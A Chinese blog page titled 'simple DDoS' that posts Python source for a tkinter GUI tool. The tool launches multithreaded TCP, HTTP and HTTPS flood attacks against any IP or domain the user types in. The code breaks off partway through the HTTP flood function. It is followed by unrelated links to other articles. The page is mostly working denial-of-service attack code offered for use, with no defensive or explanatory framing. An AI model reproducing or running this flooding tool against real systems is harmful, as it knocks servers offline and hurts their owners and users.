首页 > 其他分享 >简单ddos

简单ddos

时间:2024-12-25 15:54:06浏览次数:5  
标签:target attack ddos threads 简单 import validate port

import tkinter as tk
from tkinter import messagebox
import socket
import threading
import time
import logging
import re
import asyncio
import aiohttp

# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Global variable to manage threads
attack_threads = []
running = False  # Global variable to control the attack state

# Function to start the attack
def start_attack():
    global running
    running = True  # Set running to True when starting the attack
    try:
        # Retrieve and validate inputs
        target = target_entry.get().strip()
        port = port_entry.get().strip()
        attack_type = attack_type_var.get().strip()
        payload = payload_entry.get().strip()
        interval = interval_entry.get().strip()
        num_threads = num_threads_entry.get().strip()

        # Check for empty inputs
        if not all([target, port, attack_type, payload, interval, num_threads]):
            raise ValueError("请输入所有参数")

        # Validate port
        port = validate_port(port)

        # Validate interval
        interval = validate_positive_float(interval)

        # Validate number of threads
        num_threads = validate_positive_integer(num_threads)

        # Validate target (IP or domain)
        if not validate_ip(target) and not validate_domain(target):
            raise ValueError("ip地址错误")

        # Start attack based on type
        for _ in range(num_threads):
            if attack_type == 'TCP':
                thread = threading.Thread(target=send_tcp_flood, args=(target, port, payload.encode(), interval))
            elif attack_type == 'HTTP':
                thread = threading.Thread(target=asyncio.run, args=(send_async_http_flood(target, port, payload.encode(), interval),))
            elif attack_type == 'HTTPS':
                thread = threading.Thread(target=asyncio.run, args=(send_async_https_flood(target, port, payload.encode(), interval),))
            attack_threads.append(thread)
            thread.start()

        messagebox.showinfo("Success", "启动成功!")

    except ValueError as ve:
        messagebox.showerror("Input Error", str(ve))
    except Exception as e:
        messagebox.showerror("Error", f"{e}")
def validate_ip(ip):
    ip_regex = re.compile(
        r'^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}'
        r'(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$'
    )
    return re.match(ip_regex, ip) is not None

def validate_domain(domain):
    domain_regex = re.compile(
        r'^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$'
    )
    return re.match(domain_regex, domain) is not None

def validate_port(port):
    try:
        port = int(port)
        if port < 1 or port > 65535:
            raise ValueError("端口在 1 到 65535之间")
        return port
    except ValueError:
        raise ValueError("端口需要是个整数")

def validate_positive_float(value):
    try:
        value = float(value)
        if value <= 0:
            raise ValueError("需要是个整数")
        return value
    except ValueError:
        raise ValueError("需要是个整数")

def validate_positive_integer(value):
    try:
        value = int(value)
        if value <= 0:
            raise ValueError("需要是个整数")
        return value
    except ValueError:
        raise ValueError("需要是个整数")
def stop_attack():
    global running
    running = False  # Set running to False to stop the attack
    for thread in attack_threads:
        if thread.is_alive():
            thread.join()  # Wait for the thread to complete
    attack_threads.clear()  # Clear the list of threads
    messagebox.showinfo("Stopped", "停止成功")

# Function to send TCP flood attack
def send_tcp_flood(target, port, payload, interval):
    while running:  # Check if running is True
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.connect((target, port))
                s.send(payload)
            time.sleep(interval)
        except Exception as e:
            logging.error(f"TCP 连接失败: {e}")
            break  # Exit the loop on error

# Asynchronous function to send HTTP flood attack
async def send_async_http_flood(target, port, payload, interval):
    url = f"http://{target}:{port}"
    async with aiohttp.ClientSession() as session:
        while running:  # Check if running is True
            try:
                async with session.get(url, data=payload) as response:
                    logging.info(f"

标签:target,attack,ddos,threads,简单,import,validate,port
From: https://www.cnblogs.com/qcy-blog/p/18630629

相关文章

  • EventTarget的简单实现
    mdn中EventTarget的简单实现代码letEventTarget=function(){this.listeners={};}EventTarget.prototype.listeners=null;EventTarget.prototype.addEventListener=function(type,callback){if(!(typeinthis.listeners)){this.listener......
  • 大模型简单入门及特定环境下的应用
    大模型简单入门及特定环境下的应用前排提示,文末有大模型AGI-CSDN独家资料包哦!什么是大模型大模型是指包含超大规模参数(通常在十亿个以上)的神经网络模型,具有以下特征:巨大的规模:大模型包含数十亿个参数,模型大小可以达到数百GB甚至更大。这种巨大的模型规模为其提供了强大......
  • Java Web入门到精通:简单留言板开发(附代码)
    ......
  • 一个超级简单的蓝牙小车制作
    前言:这是一个基于STM32的蓝牙小车制作过程,所用到的器件、代码都是超级基础的,只要跟着做,哪怕0基础也能做出一个蓝牙操控的小车。本项目所用的器件非常简单,两个L298N,四个直流电机,四个轮子和小车板,还有一个HC-05的蓝牙模块代码放在gitee仓库中:代码在这里项目原理:大体上来说,蓝......
  • 简单记录下底部固定的样式并简单封装
    需求:需要在底部做个固定样式,添加备案等信息实现思路:1.定义文本,数组对象记录,循环遍历,有利于维护2.定义样式,固定定位+层级置顶3.抽离成组件复用js<scriptlang="ts"setup>constbottomInfoList=[{label:'关于我们',link:'user/aboutUs'},{label:'帮......
  • 生成音乐如此简单:试试 API.box 的 Suno API
    想象一下,只需几行文字描述,你就可以将它们转化为动听的音乐。这就是API.box提供的SunoAPI带来的便捷体验。为什么选择API.box提供的SunoAPI?快速生成:无需漫长等待,随时生成高质量音乐,满足多种创意场景需求。无水印输出:生成的音乐完全无水印,可直接用于专业创作和商业用......
  • 【comfyui教程】简单高效,新手必备!Flux-Continuum助你玩转Comfyui
    前言对于很多刚接触Comfyui的同学来说,肯定会被一堆节点和拉来拉去的线给搞得晕头转向,不知所措吧。老金今天给大家介绍一个比较有趣的Comfyui节点–ComfyUI-Flux-Continuum,有了这个节点插件,就可以省去这些烦恼。这是“嚣嚣CN”网友推荐给老金的,这个Comfyui节点集成了多个比......
  • 用 Python 构建一个简单的爬虫:抓取豆瓣电影信息
    用Python构建一个简单的爬虫:抓取豆瓣电影信息爬虫是Python开发者的必备技能之一。本文将带你从零开始,构建一个简单的爬虫,用来抓取豆瓣电影Top250的信息,包括电影名称、评分和简介。目录项目简介环境配置与依赖安装解析目标网站结构编写爬虫代码保存数据到CSV文......
  • web期末大作业 用HTML+CSS做一个漂亮简单的节日网页【传日文化节日中秋节】 (1)
    ......
  • 微信朋友圈一键转发竟然这么简单!教你轻松操作!
    在快节奏的社交媒体时代,微信朋友圈已成为我们分享生活点滴、传递信息的重要平台。然而,面对海量的信息,如何快速、高效地分享朋友圈内容,成为了许多人的需求。今天,我们就来探讨如何利用微信管理系统实现朋友圈的一键转发功能,让分享变得更加轻松便捷。如何使用微信管理系统一......